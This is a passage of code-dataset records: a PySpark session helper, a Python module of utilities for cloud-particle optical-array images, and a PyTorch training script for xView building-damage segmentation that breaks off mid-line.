conf.set(\"spark.driver.memoryOverhead\", kw.get(\"spark.driver.memoryOverhead\", \"15g\"))\n # 每一个python的worker进程的内存大小,在运行期间,如果数据大小超过这个限制,数据将会被分片并保存在磁盘上\n # conf.set(\"spark.python.worker.memory\", kw.get(\"spark.python.worker.memory\", \"4g\"))\n # 推测执行\n # conf.set(\"spark.speculation\", \"true\")\n # spark中每一个action计算所有分区的序列化结果大小,超出这个值,程序将会终止, 默认1G\n # conf.set(\"spark.driver.maxResultSize\", \"4g\")\n\n spark = SparkSession.builder \\\n .appName(name) \\\n .config(conf=conf) \\\n .enableHiveSupport() \\\n .getOrCreate()\n return spark\n\n","repo_name":"windorchidwarm/py_test_project","sub_path":"hugh/spark/test/spark_common/utils_spark.py","file_name":"utils_spark.py","file_ext":"py","file_size_in_byte":2429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"71722528245","text":"\"\"\"\nVarious functions for the analysis and modification of optical-arrays.\n\"\"\"\n\nimport numpy as np\nfrom oap.lib import check_array_type, convert_array_to_type, flatten_array\nfrom oap.__conf__ import MARKER, MONOSCALE_SHADOWLEVEL, SLICE_SIZE\n\n\n# --- Features ---------------------------------------------------------------------------------------------------------\n\ndef barycenter(array, coordinates=True, slice_size=SLICE_SIZE):\n \"\"\"\n Calculates the barycenter of an OAP image. Returns the particle barycenter\n as integer coordinates for the array or as exact floating point values.\n\n :param array: optical-array (particle image)\n :type array: numpy-array (1 dimensional) or list or string\n\n --- optional params ---\n :param coordinates: rounds barycenter to integer values (default == True)\n :type coordinates: boolean\n\n :param slice_size: width of the optical-array (number of diodes)\n :type slice_size: integer\n\n :return: x- and y-value of barycenter\n \"\"\"\n array, slice_size = flatten_array(array, slice_size)\n\n sum_x = 0\n sum_y = 0\n number_of_pixels = 0\n\n for y in range(int(len(array) / slice_size)):\n for x in range(slice_size):\n if array[y*slice_size+x] != 0 and array[y*slice_size+x] != '0':\n sum_x += x\n sum_y += y\n number_of_pixels += 1\n\n if not number_of_pixels:\n raise ValueError(\"no shaded pixels in the particle image\")\n\n if coordinates:\n x_bary = int(round(sum_x / float(number_of_pixels)))\n y_bary = int(round(sum_y / float(number_of_pixels)))\n return y_bary, x_bary\n else:\n x_bary = sum_x / float(number_of_pixels)\n y_bary = sum_y / float(number_of_pixels)\n return y_bary, x_bary\n\n\ndef features(array, slice_size=SLICE_SIZE):\n \"\"\"\n Analyses an optical-array as numpy-array, list or string and\n returns its properties.\n\n :param array: optical-array (particle image)\n :type array: numpy-array (1 or 2 dimensional) or list or string\n\n --- optional params ---\n :param slice_size: width of the optical-array (number of diodes)\n :type slice_size: integer\n\n :return: dict of particle features\n \"\"\"\n array, slice_size = flatten_array(array, slice_size)\n\n array = clip_y(array, slice_size=slice_size)\n y_dim = int(len(array) / slice_size)\n\n min_index = slice_size - 1\n max_index = 0\n min_poisson_index = slice_size - 1\n max_poisson_index = 0\n\n for y in range(y_dim):\n for x in range(slice_size):\n if array[y*slice_size+x] != 0 and array[y*slice_size+x] != '0':\n if x > max_index:\n max_index = x\n if x < min_index:\n min_index = x\n if array[y*slice_size+x] == MARKER['poisson'] or array[y*slice_size+x] == str(MARKER['poisson']):\n if x > max_poisson_index:\n max_poisson_index = x\n if x < min_poisson_index:\n min_poisson_index = x\n\n poisson_diameter = max_poisson_index-min_poisson_index+1\n\n result_set = {'height': y_dim, 'width': max_index-min_index+1,\n 'poisson': poisson_diameter if poisson_diameter > 0 else 0,\n 'min_index': min_index, 'max_index': max_index}\n return result_set\n\n\n# --- Array Modifications ----------------------------------------------------------------------------------------------\n\ndef adjust_y(array, new_y, warning=False, as_type=None, slice_size=SLICE_SIZE):\n \"\"\"\n Converts the optical-array length to a specific length corresponding to\n the wished image height.\n\n Image input is possible as 1 dimensional list, string or numpy-array.\n Returns a new numpy-array with a fixed size, corresponding to the\n image height and the given slice size.\n\n Caution, this function clips particle images, which are to large.\n\n :param array: optical-array (particle image)\n :type array: numpy-array (1 or 2 dimensional) or list or string\n\n :param new_y: new y-dimension\n :type new_y: integer\n\n --- optional params ---\n :param warning: prints a warning when clipping (default == False)\n :type warning: boolean\n\n :param as_type: type of returned optical-array (1d array, 2d array, list or string)\n :type as_type: string (values: \"STRING\", \"LIST\", \"ARRAY\", \"ARRAY2D\")\n\n :param slice_size: width of the optical-array (number of diodes)\n :type slice_size: integer\n\n :return: new optical-array without empty slices\n \"\"\"\n array, data_type, slice_size = check_array_type(array, slice_size)\n\n if warning:\n if new_y * slice_size < len(array):\n print(\"\\nWarning (oap::adjust_y) new y-dimension too small: particle gets clipped\\n\")\n\n new_array = np.zeros(new_y*slice_size, dtype=int)\n\n for y in range(int(min(new_y, len(array)/slice_size))):\n for x in range(slice_size):\n if array[y*slice_size+x] != 0 and array[y*slice_size+x] != '0':\n new_array[y*slice_size+x] = array[y*slice_size+x]\n return convert_array_to_type(new_array, as_type=as_type if as_type else data_type, slice_size=slice_size)\n\n\ndef clip_y(array, as_type=None, slice_size=SLICE_SIZE):\n \"\"\"\n Deletes all empty image slices in the optical-array.\n\n Note: If there are empty image slices between the shaded pixels, they will be deleted as well.\n This can happen in rare cases when converting from grayscale to monoscale.\n This would lead to a compression of the imaged cloud particle.\n\n :param array: optical-array (particle image)\n :type array: numpy-array (1 or 2 dimensional) or list or string\n\n --- optional params ---\n :param as_type: type of returned optical-array (1d array, 2d array, list or string)\n :type as_type: string (values: \"STRING\", \"LIST\", \"ARRAY\", \"ARRAY2D\")\n\n :param slice_size: width of the optical-array (number of diodes)\n :type slice_size: integer\n\n :return: new optical-array without empty slices\n \"\"\"\n array, data_type, slice_size = check_array_type(array, slice_size)\n\n new_array = []\n\n for y in range(int(len(array)/slice_size)):\n if max(array[y*slice_size:y*slice_size+slice_size]):\n new_array.append(array[y*slice_size:y*slice_size+slice_size])\n return convert_array_to_type(np.ravel(new_array), as_type=as_type if as_type else data_type, slice_size=slice_size)\n\n\ndef _flip_array(array, axis, slice_size=SLICE_SIZE):\n \"\"\"\n Flips an optical-array in x- or y-direction.\n\n :param array: optical-array (particle image)\n :type array: numpy-array (1 or 2 dimensional) or list or string\n\n :param axis: axis or axes along which to flip over\n :type axis: integer (values: 0 or 1)\n\n --- optional params ---\n :param slice_size: width of the optical-array (number of diodes)\n :type slice_size: integer\n\n :return: flipped optical-array\n \"\"\"\n if type(array).__module__ == np.__name__:\n if array.ndim == 2:\n return np.flip(array, axis=axis)\n else:\n array = array.reshape(-1, slice_size)\n array = np.flip(array, axis=axis)\n return np.ravel(array)\n elif type(array) is str:\n array = np.array(list(array), dtype=int).reshape(-1, slice_size)\n array = np.flip(array, axis=axis)\n return ''.join([str(a) for a in np.ravel(array)])\n elif type(array) is list:\n new_array = np.array(array, dtype=int).reshape(-1, slice_size)\n new_array = np.flip(new_array, axis=axis)\n if type(array[0]) is str:\n return [str(a) for a in np.ravel(new_array)]\n return np.ravel(new_array).tolist()\n\n\ndef flip_x(array, slice_size=SLICE_SIZE):\n \"\"\"\n Flips an optical-array in x-direction.\n\n :param array: optical-array (particle image)\n :type array: numpy-array (1 or 2 dimensional) or list or string\n\n --- optional params ---\n :param slice_size: width of the optical-array (number of diodes)\n :type slice_size: integer\n\n :return: flipped optical-array\n \"\"\"\n return _flip_array(array, 1, slice_size=slice_size)\n\n\ndef flip_y(array, slice_size=SLICE_SIZE):\n \"\"\"\n Flips an optical-array in y-direction.\n\n :param array: optical-array (particle image)\n :type array: numpy-array (1 or 2 dimensional) or list or string\n\n --- optional params ---\n :param slice_size: width of the optical-array (number of diodes)\n :type slice_size: integer\n\n :return: flipped optical-array\n \"\"\"\n return _flip_array(array, 0, slice_size=slice_size)\n\n\n# ToDo: not implemented\ndef monochromatic(array, color=MONOSCALE_SHADOWLEVEL, as_type=None, slice_size=SLICE_SIZE):\n \"\"\"\n Converts a greyscale optical-array with different colors for their shadow levels,\n by setting all shadow levels to one color value. This is usually the Monoscale\n Shadow Level, which is equal to 2 (50 percent dimming of the laser intensity).\n\n :param array: optical-array (particle image)\n :type array: numpy-array (1 or 2 dimensional) or list or string\n\n --- optional params ---\n :param color: value of color\n :type color: char or integer\n\n :param as_type: type of returned optical-array (1d array, 2d array, list or string)\n :type as_type: string (values: \"STRING\", \"LIST\", \"ARRAY\", \"ARRAY2D\")\n\n :param slice_size: width of the optical-array (number of diodes)\n :type slice_size: integer\n\n :return: new optical-array - every pixel has the same color\n \"\"\"\n # array, data_type, slice_size = check_array_type(array, slice_size)\n\n array[array >= 1] = color\n\n # new_array = np.zeros(len(array), dtype=int)\n # for y in range(int(len(array)/slice_size)):\n # for x in range(slice_size):\n # if array[y*slice_size+x] != 0 and array[y * slice_size + x] != '0':\n # if array[y*slice_size+x] in [1, 2, 3]:\n # new_array[y*slice_size+x] = color\n # elif array[y*slice_size+x] in ['1', '2', '3']:\n # new_array[y*slice_size+x] = str(color)\n # else:\n # new_array[y*slice_size+x] = array[y*slice_size+x]\n # return convert_array_to_type(array, as_type=as_type if as_type else data_type, slice_size=slice_size)\n\n\ndef monoscale(array, color=MONOSCALE_SHADOWLEVEL, as_type=None, slice_size=SLICE_SIZE):\n \"\"\"\n Converts a grayscale array into a monoscale array.\n This deletes shadow level 1 and sets the other shadow values to a uniform value.\n The Poisson spot markings remain unchanged.\n\n Note: After conversion, the optical-array may not contain any shaded pixels.\n Also, empty image slices can occur in the image.\n\n If the optical-array does not contain shaded pixels, the function returns None.\n\n :param array: optical-array (particle image)\n :type array: numpy-array (1 or 2 dimensional) or list or string\n\n --- optional params ---\n :param color: value of monoscale color\n :type color: char or integer\n\n :param as_type: type of returned optical-array (1d array, 2d array, list or string)\n :type as_type: string (values: \"STRING\", \"LIST\", \"ARRAY\", \"ARRAY2D\")\n\n :param slice_size: width of the optical-array (number of diodes)\n :type slice_size: integer\n\n :return: new monoscale optical-array\n \"\"\"\n array, data_type, slice_size = check_array_type(array, slice_size)\n\n new_array = np.zeros(len(array), dtype=int)\n for y in range(int(len(array)/slice_size)):\n for x in range(slice_size):\n if array[y*slice_size+x] not in [0, 1, '0', '1']:\n if array[y*slice_size+x] in [2, 3]:\n new_array[y*slice_size+x] = color\n elif array[y * slice_size + x] in ['2', '3']:\n new_array[y * slice_size + x] = str(color)\n else:\n new_array[y*slice_size+x] = array[y*slice_size+x]\n return convert_array_to_type(new_array, as_type=as_type if as_type else data_type,\n slice_size=slice_size) if max(new_array) else None\n\n\ndef move_to_x(array, new_x, clip=True, as_type=None, slice_size=SLICE_SIZE):\n \"\"\"\n Calculates the barycenter of a particle and shifts the particle (in the image)\n to the given position in x-direction.\n\n Returns the new shifted particle image. The x-coordinate of the barycenter is\n equal to the new position.\n\n If clip is false, pixels which get pushed out of the picture frame, will\n appear on the other side of the picture.\n\n :param array: optical-array (particle image)\n :type array: numpy-array (1 or 2 dimensional) or list or string\n\n :param new_x: new x-value for the barycenter\n :type new_x: integer\n\n --- optional params ---\n :param clip: pixels that are moved out of the picture frame are lost (default == True)\n :type clip: boolean\n\n :param as_type: data type of the returned optical-array (\"array\", \"array2d\", \"list\", \"string\")\n :type as_type: string\n\n :param slice_size: width of the optical-array (number of diodes)\n :type slice_size: integer\n\n :return: new optical-array with shifted particle\n \"\"\"\n array, data_type, slice_size = check_array_type(array, slice_size)\n\n # Calculate the shift.\n _, x_bary = barycenter(array, coordinates=True, slice_size=slice_size)\n x_shift = new_x - x_bary\n\n new_array = np.zeros(len(array), dtype=int)\n\n for y in range(int(len(array)/slice_size)):\n for x in range(slice_size):\n if not array[y*slice_size+x] == 0 and not array[y*slice_size+x] == '0':\n if clip:\n # Pixels which get pushed out of the picture frame, will\n # be clipped. !!! Loss Of Information !!!\n if (y*slice_size+slice_size-1) >= (y*slice_size+x+x_shift) >= 0 \\\n and slice_size > (x+x_shift) >= 0:\n new_array[y*slice_size+x+x_shift] = array[y*slice_size+x]\n else:\n # Pixels which get pushed out of the picture frame, will\n # appear on the other side of the picture.\n new_x = (x+x_shift) % slice_size\n new_array[y*slice_size+new_x] = array[y*slice_size+x]\n return convert_array_to_type(new_array, as_type=as_type if as_type else data_type, slice_size=slice_size)\n\n\ndef move_to_y(array, new_y, clip=True, as_type=None, slice_size=SLICE_SIZE):\n \"\"\"\n Calculates the barycenter of a particle and shifts the particle (in the image)\n to the given position in y-direction.\n\n This only works for a given image height.\n\n Returns the new shifted particle image. The y-coordinate of the barycenter is\n equal to the new position.\n\n If clip is false, pixels which get pushed out of the picture frame, will\n appear on the other side of the picture.\n\n :param array: optical-array (particle image)\n :type array: numpy-array (1 or 2 dimensional) or list or string\n\n :param new_y: new y-value for the barycenter\n :type new_y: integer\n\n --- optional params ---\n :param clip: pixels that are moved out of the picture frame are lost (default == True)\n :type clip: boolean\n\n :param as_type: type of returned optical-array (1d array, 2d array, list or string)\n :type as_type: string (values: \"STRING\", \"LIST\", \"ARRAY\", \"ARRAY2D\")\n\n :param slice_size: width of the optical-array (number of diodes)\n :type slice_size: integer\n\n :return: new optical-array with shifted particle\n \"\"\"\n array, data_type, slice_size = check_array_type(array, slice_size)\n\n # Calculate the shift.\n y_bary, _ = barycenter(array, coordinates=True, slice_size=slice_size)\n y_shift = new_y - y_bary\n\n new_array = np.zeros(len(array), dtype=int)\n y_dim = int(len(array) / slice_size)\n\n for y in range(int(len(array)/slice_size)):\n for x in range(slice_size):\n if not array[y*slice_size+x] == 0 and not array[y*slice_size+x] == '0':\n if clip:\n # Pixels which get pushed out of the picture frame, will\n # be clipped. !!! Loss Of Information !!!\n if ((y_dim-1)*slice_size+x) >= ((y+y_shift) * slice_size+x) >= 0 \\\n and y_dim > (y+y_shift) >= 0:\n new_array[(y+y_shift)*slice_size+x] = array[y*slice_size+x]\n else:\n # Pixels which get pushed out of the picture frame, will\n # appear on the other side of the picture.\n new_y = (y + y_shift) % y_dim\n new_array[new_y*slice_size+x] = array[y*slice_size+x]\n return convert_array_to_type(new_array, as_type=as_type if as_type else data_type, slice_size=slice_size)\n\n\ndef center_particle(array, clip=True, as_type=None, slice_size=SLICE_SIZE):\n \"\"\"\n Centers a cloud particle in the image.\n\n If clip is false, pixels which get pushed out of the picture frame, will\n appear on the other side of the picture.\n\n :param array: optical-array (particle image)\n :type array: numpy-array (1 or 2 dimensional) or list or string\n\n --- optional params ---\n :param clip: pixels that are moved out of the picture frame are lost (default == True)\n :type clip: boolean\n\n :param as_type: type of returned optical-array (1d array, 2d array, list or string)\n :type as_type: string (values: \"STRING\", \"LIST\", \"ARRAY\", \"ARRAY2D\")\n\n :param slice_size: width of the optical-array (number of diodes)\n :type slice_size: integer\n\n :return: new optical-array with centered particle\n \"\"\"\n # Set x-axis image center -1 if the slice size is even\n x_center = int(slice_size / 2.0 - 0.5)\n return move_to_x(array, x_center, clip=clip, as_type=as_type, slice_size=slice_size)\n","repo_name":"lcsgrlch/oap","sub_path":"oap/utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":18277,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"76"} +{"seq_id":"7778032122","text":"import os\nos.environ[\"MKL_NUM_THREADS\"] = \"2\" \nos.environ[\"NUMEXPR_NUM_THREADS\"] = \"2\" \nos.environ[\"OMP_NUM_THREADS\"] = \"2\" \n\nfrom os import path, makedirs, listdir\nimport sys\nimport numpy as np\nnp.random.seed(1)\nimport random\nrandom.seed(1)\n\nimport torch\nfrom torch import nn\nfrom torch.backends import cudnn\nfrom torch.utils.data import Dataset\nfrom torch.utils.data import DataLoader\nimport torch.optim.lr_scheduler as lr_scheduler\n#from apex import amp\nimport torch.cuda.amp as amp\nfrom torchvision import transforms\nimport torchvision.transforms.functional as TF\nfrom adamw import AdamW\nfrom losses import dice_round, ComboLoss\n\nfrom tqdm import tqdm\nimport timeit\nimport cv2\n\nimport torch.nn.functional as F\n\nfrom zoo.models import BASE_Transformer, Res34_Unet_Double\nfrom zoo.model_transformer_encoding import BASE_Transformer_UNet\nfrom dual_hrnet import DualHRNet, get_model\nfrom yacs.config import CfgNode\n\nfrom PIL import Image\n\nmodel = \"dual_hrnet\"\n\nif model == \"dual_hrnet\":\n print(\"Dual HRNET\")\n with open(\"dual_hrnet_config.yaml\", 'rb') as fp:\n config = CfgNode.load_cfg(fp)\n model = get_model(config)\n snapshot_name = 'dual_hrnet'\n print(\"snapshot_name \", snapshot_name, \"with seg and cls headers and ce loss only on building\")\n # snap_to_load = 'res34_loc_0_1_best'\n\nelse:\n model = Res34_Unet_Double().cuda()\n snapshot_name = 'Res34_Unet_Double'\n snap_to_load = 'res34_loc_0_1_best'\n\n\nfrom imgaug import augmenters as iaa\nfrom utils import *\nfrom skimage.morphology import square, dilation\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\n\nimport gc\ntorch.cuda.empty_cache()\n\ncv2.setNumThreads(0)\ncv2.ocl.setUseOpenCL(False)\n\ntrain_dirs = ['/scratch/nka77/DATA/train', '/scratch/nka77/DATA/tier3']\nmodels_folder = '/scratch/nka77/xview_first/weights'\n\nloc_folder = '/scratch/nka77/xview_first/pred/pred34_loc_val'\n\ninput_shape = (1024,1024)\ncrop_size = 512\n\nall_files = []\nfor d in train_dirs:\n for f in sorted(listdir(path.join(d, 'images'))):\n if ('_pre_disaster.png' in f):\n all_files.append(path.join(d, 'images', f))\n\n\nclass TrainData(Dataset):\n def __init__(self, train_idxs):\n super().__init__()\n self.train_idxs = train_idxs\n self.elastic = iaa.ElasticTransformation(alpha=(0.25, 1.2), sigma=0.2)\n\n def __len__(self):\n return len(self.train_idxs)\n\n def __getitem__(self, idx):\n _idx = self.train_idxs[idx]\n\n fn = all_files[_idx]\n\n img = cv2.imread(fn, cv2.IMREAD_COLOR)\n img2 = cv2.imread(fn.replace('_pre_disaster', '_post_disaster'), cv2.IMREAD_COLOR)\n\n msk0 = cv2.imread(fn.replace('/images/', '/masks/'), cv2.IMREAD_UNCHANGED)\n lbl_msk1 = cv2.imread(fn.replace('/images/', '/masks/').replace('_pre_disaster', '_post_disaster'), cv2.IMREAD_UNCHANGED)\n \n x0 = random.randint(0, img.shape[1] - crop_size)\n y0 = random.randint(0, img.shape[0] - crop_size)\n\n img1 = img[y0:y0+crop_size, x0:x0+crop_size, :]\n img2 = img2[y0:y0+crop_size, x0:x0+crop_size, :]\n msk0 = msk0[y0:y0+crop_size, x0:x0+crop_size]\n lbl_msk1 = lbl_msk1[y0:y0+crop_size, x0:x0+crop_size]\n\n if random.random() > 0.7:\n imgs = [img1, img2]\n labels = [msk0, lbl_msk1]\n imgs = [TF.to_pil_image(img) for img in imgs]\n labels = [TF.to_pil_image(img) for img in labels]\n\n if random.random() > 0.3:\n imgs = [TF.hflip(img) for img in imgs]\n labels = [TF.hflip(img) for img in labels]\n\n if random.random() > 0.3:\n imgs = [TF.vflip(img) for img in imgs]\n labels = [TF.vflip(img) for img in labels]\n\n if random.random() > 0.5:\n imgs = [transforms.ColorJitter(brightness=[0.8,1.2], contrast=[0.8,1.2], saturation=[0.8,1.2])(img) for img in imgs]\n \n msk0, lbl_msk1 = np.array(labels[0]), np.array(labels[1])\n img1, img2 = np.array(imgs[0]), np.array(imgs[1])\n\n msk1 = np.zeros_like(lbl_msk1)\n msk2 = np.zeros_like(lbl_msk1)\n msk3 = np.zeros_like(lbl_msk1)\n msk4 = np.zeros_like(lbl_msk1)\n msk2[lbl_msk1 == 2] = 255\n msk3[lbl_msk1 == 3] = 255\n msk4[lbl_msk1 == 4] = 255\n msk1[lbl_msk1 == 1] = 255\n\n msk0 = msk0[..., np.newaxis]\n msk1 = msk1[..., np.newaxis]\n msk2 = msk2[..., np.newaxis]\n msk3 = msk3[..., np.newaxis]\n msk4 = msk4[..., np.newaxis]\n\n msk = np.concatenate([msk0, msk1, msk2, msk3, msk4], axis=2)\n msk = (msk > 127)\n\n msk[..., 0] = False\n msk[..., 1] = dilation(msk[..., 1], square(5))\n msk[..., 2] = dilation(msk[..., 2], square(5))\n msk[..., 3] = dilation(msk[..., 3], square(5))\n msk[..., 4] = dilation(msk[..., 4], square(5))\n msk[..., 1][msk[..., 2:].max(axis=2)] = False\n msk[..., 3][msk[..., 2]] = False\n msk[..., 4][msk[..., 2]] = False\n msk[..., 4][msk[..., 3]] = False\n msk[..., 0][msk[..., 1:].max(axis=2)] = True\n msk = msk * 1\n\n lbl_msk = msk.argmax(axis=2)\n\n img = np.concatenate([img1, img2], axis=2)\n img = preprocess_inputs(img)\n\n img = torch.tensor(img.transpose((2, 0, 1))).float()\n msk = torch.tensor(msk.transpose((2, 0, 1))).long()\n\n sample = {'img': img, 'msk': msk, 'lbl_msk': lbl_msk, 'fn': fn}\n return sample\n\n\nclass ValData(Dataset):\n def __init__(self, image_idxs):\n super().__init__()\n self.image_idxs = image_idxs\n\n def __len__(self):\n return len(self.image_idxs)\n\n def __getitem__(self, idx):\n _idx = self.image_idxs[idx]\n\n fn = all_files[_idx]\n\n img = cv2.imread(fn, cv2.IMREAD_COLOR)\n img2 = cv2.imread(fn.replace('_pre_disaster', '_post_disaster'), cv2.IMREAD_COLOR)\n\n # msk_loc = cv2.imread(path.join(loc_folder, '{0}.png'.format(fn.split('/')[-1].replace('.png', '_part1.png'))), cv2.IMREAD_UNCHANGED) > (0.3*255)\n\n msk0 = cv2.imread(fn.replace('/images/', '/masks/'), cv2.IMREAD_UNCHANGED)\n lbl_msk1 = cv2.imread(fn.replace('/images/', '/masks/').replace('_pre_disaster', '_post_disaster'), cv2.IMREAD_UNCHANGED)\n \n x0 = 512\n y0 = 512\n\n img = img[y0:y0+crop_size, x0:x0+crop_size, :]\n img2 = img2[y0:y0+crop_size, x0:x0+crop_size, :]\n msk0 = msk0[y0:y0+crop_size, x0:x0+crop_size]\n lbl_msk1 = lbl_msk1[y0:y0+crop_size, x0:x0+crop_size]\n\n msk1 = np.zeros_like(lbl_msk1)\n msk2 = np.zeros_like(lbl_msk1)\n msk3 = np.zeros_like(lbl_msk1)\n msk4 = np.zeros_like(lbl_msk1)\n msk1[lbl_msk1 == 1] = 255\n msk2[lbl_msk1 == 2] = 255\n msk3[lbl_msk1 == 3] = 255\n msk4[lbl_msk1 == 4] = 255\n\n msk0 = msk0[..., np.newaxis]\n msk1 = msk1[..., np.newaxis]\n msk2 = msk2[..., np.newaxis]\n msk3 = msk3[..., np.newaxis]\n msk4 = msk4[..., np.newaxis]\n\n msk = np.concatenate([msk0, msk1, msk2, msk3, msk4], axis=2)\n msk = (msk > 127)\n\n msk = msk * 1\n\n lbl_msk = msk[..., 1:].argmax(axis=2)\n \n img = np.concatenate([img, img2], axis=2)\n img = preprocess_inputs(img)\n\n img = torch.from_numpy(img.transpose((2, 0, 1))).float()\n msk = torch.from_numpy(msk.transpose((2, 0, 1))).long()\n\n sample = {'img': img, 'msk': msk, 'lbl_msk': lbl_msk, 'fn': fn, 'msk_loc': msk}\n return sample\n\n\ndef validate(model, data_loader):\n dices0 = []\n\n tp = np.zeros((4,))\n fp = np.zeros((4,))\n fn = np.zeros((4,))\n totalp = np.zeros((4,))\n\n _thr = 0.3\n data_loader = tqdm(data_loader)\n with torch.no_grad():\n for i, sample in enumerate(data_loader):\n msks = sample[\"msk\"].numpy()\n lbl_msk = sample[\"lbl_msk\"].numpy()\n imgs = sample[\"img\"].cuda(non_blocking=True)\n # msk_loc = sample[\"msk_loc\"].numpy() * 1\n out = model(imgs)\n\n out_loc = out['loc']\n out_cls = out['cls']\n out_loc = F.interpolate(out_loc, size=(lbl_msk.shape[-1],lbl_msk.shape[-1]))\n out_cls = F.interpolate(out_cls, size=(lbl_msk.shape[-1],lbl_msk.shape[-1]))\n\n out_loc = out_loc.argmax(axis=1)\n\n msk_pred = torch.sigmoid(out_loc).cpu().numpy()\n msk_damage_pred = torch.sigmoid(out_cls).cpu().numpy()\n \n for j in range(msks.shape[0]):\n dices0.append(dice(msks[j, 0], msk_pred[j] > _thr))\n targ = lbl_msk[j][lbl_msk[j, 0] > 0]\n pred = msk_damage_pred[j].argmax(axis=0)\n pred = pred * (msk_pred[j] > _thr)\n pred = pred[lbl_msk[j, 0] > 0]\n for c in range(4):\n tp[c] += np.logical_and(pred == c, targ == c).sum()\n fn[c] += np.logical_and(pred != c, targ == c).sum()\n fp[c] += np.logical_and(pred == c, targ != c).sum()\n totalp += (targ == c).sum()\n\n d0 = np.mean(dices0)\n\n f1_sc = np.zeros((4,))\n for c in range(4):\n f1_sc[c] = 2 * tp[c] / (2 * tp[c] + fp[c] + fn[c])\n f1 = 4 / np.sum(1.0 / (f1_sc + 1e-6))\n\n f1_sc_wt = np.zeros((4,))\n totalp = totalp/sum(totalp)\n for c in range(4):\n f1_sc_wt[c] = totalp[c] * 2 * tp[c] / (2 * tp[c] + fp[c] + fn[c])\n f1_wt = 1 / np.sum(1.0 / (f1_sc_wt + 1e-6))\n\n sc = 0.3 * d0 + 0.7 * f1\n print(\"Val Score: {}, Dice: {}, F1: {}, F1wt: {}, F1_0: {}, F1_1: {}, F1_2: {}, F1_3: {}\".format(sc, d0, f1, f1_wt, f1_sc[0], f1_sc[1], f1_sc[2], f1_sc[3]))\n return sc\n\n\ndef evaluate_val(data_val, best_score, model, snapshot_name, current_epoch):\n model = model.eval()\n d = validate(model, data_loader=data_val)\n\n if d > best_score:\n torch.save({\n 'epoch': current_epoch + 1,\n 'state_dict': model.state_dict(),\n 'best_score': d,\n 'optimizer' : optimizer.state_dict(),\n }, path.join(models_folder, snapshot_name))\n best_score = d\n\n print(\"score: {}\\tscore_best: {}\".format(d, best_score))\n return best_score\n\n\ndef train_epoch(current_epoch, seg_loss, ce_loss, model, optimizer, scheduler, train_data_loader):\n losses = AverageMeter()\n losses1 = AverageMeter()\n losses2 = AverageMeter()\n dices = AverageMeter()\n\n iterator = tqdm(train_data_loader)\n # iterator = train_data_loader\n\n seg_loss = ComboLoss({'dice': 1, 'focal': 8}, per_image=False).cuda()\n weights_ = torch.tensor([0.10,2.,1, 2])\n ce_loss = nn.CrossEntropyLoss(weight=weights_).cuda()\n\n model.train()\n for i, sample in enumerate(iterator):\n imgs = sample[\"img\"].cuda(non_blocking=True)\n msks = sample[\"msk\"].cuda(non_blocking=True)\n lbl_msk = sample[\"lbl_msk\"].cuda(non_blocking=True)\n \n with amp.autocast():\n out = model(imgs)\n\n out_loc = out['loc']\n out_cls = out['cls']\n out_loc = F.interpolate(out_loc, size=(lbl_msk.shape[-1], lbl_msk.shape[-1]))\n out_cls = F.interpolate(out_cls, size=(lbl_msk.shape[-1], lbl_msk.shape[-1]))\n\n out_loc = out_loc.argmax(axis=1)\n loss0 = seg_loss(out_loc, msks[:, 0, ...])\n \n loss_seg = loss0 \n\n true_bldg = torch.argmax(msks[:,1:, ...], dim=1)\n # out_cls = out_cls[:,1:, ...]\n # print(true_bldg.shape, out_cls.shape)\n loss_cls = ce_loss(out_cls, true_bldg) * 5\n\n loss = loss_seg + loss_cls\n \n with torch.no_grad():\n _probs = torch.sigmoid(out_cls[:, 0, ...])\n dice_sc = 1 - dice_round(_probs, msks[:, 0, ...])\n\n losses.update(loss.item(), imgs.size(0))\n losses1.update(loss_seg.item(), imgs.size(0)) #loss5\n losses2.update(loss_cls.item(), imgs.size(0))\n\n dices.update(dice_sc, imgs.size(0))\n\n iterator.set_description(\n \"epoch: {}; lr {:.7f}; Loss {loss.val:.4f}; loss_seg {loss1.avg:.4f}; loss_cls {loss2.avg:.4f}; Dice {dice.val:.4f}\".format(\n current_epoch, scheduler.get_lr()[-1], loss=losses, loss1=losses1, loss2=losses2, dice=dices))\n \n optimizer.zero_grad()\n scaler.scale(loss).backward()\n scaler.step(optimizer)\n scaler.update()\n\n scheduler.step(current_epoch)\n\n print(\"epoch: {}; lr {:.7f}; Loss {loss.avg:.4f}; loss2 {loss1.avg:.4f}; Dice {dice.avg:.4f}\".format(\n current_epoch, scheduler.get_lr()[-1], loss=losses, loss1=losses1, dice=dices))\n\n\n\nif __name__ == '__main__':\n t0 = timeit.default_timer()\n\n makedirs(models_folder, exist_ok=True)\n seed = 0 \n \n cudnn.benchmark = True\n batch_size = 4\n val_batch_size = 4\n\n file_classes = []\n for fn in tqdm(all_files):\n fl = np.zeros((4,), dtype=bool)\n msk1 = cv2.imread(fn.replace('/images/', '/masks/').replace('_pre_disaster', '_post_disaster'), cv2.IMREAD_UNCHANGED)\n for c in range(1, 5):\n fl[c-1] = c in msk1\n file_classes.append(fl)\n file_classes = np.asarray(file_classes)\n\n train_idxs0, val_idxs = train_test_split(np.arange(len(all_files)), test_size=0.1, random_state=seed)\n\n np.random.seed(seed + 321)\n random.seed(seed + 321)\n\n train_idxs = []\n non_zero_bldg = 0\n non_zero_dmg = 0\n for i in train_idxs0:\n if file_classes[i, :].max():\n train_idxs.append(i)\n non_zero_bldg += 1\n if (random.random() > 0.7) and file_classes[i, 1].max():\n train_idxs.append(i)\n non_zero_dmg += 1\n if (random.random() > 0.7) and file_classes[i, 3].max():\n train_idxs.append(i)\n non_zero_dmg += 1\n\n train_idxs = np.asarray(train_idxs)\n steps_per_epoch = len(train_idxs) // batch_size\n validation_steps = len(val_idxs) // val_batch_size\n\n print('steps_per_epoch', steps_per_epoch, 'validation_steps', validation_steps)\n\n data_train = TrainData(train_idxs)\n val_train = ValData(val_idxs)\n\n train_data_loader = DataLoader(data_train, batch_size=batch_size, num_workers=6, shuffle=True, pin_memory=False, drop_last=True)\n val_data_loader = DataLoader(val_train, batch_size=val_batch_size, num_workers=6, shuffle=False, pin_memory=False)\n\n params = model.parameters()\n optimizer = AdamW(params, lr=0.001, weight_decay=1e-6)\n\n scheduler = lr_scheduler.MultiStepLR(optimizer, milestones=[5, 11, 17, 23, 29, 33, 47, 50, 60, 70, 90, 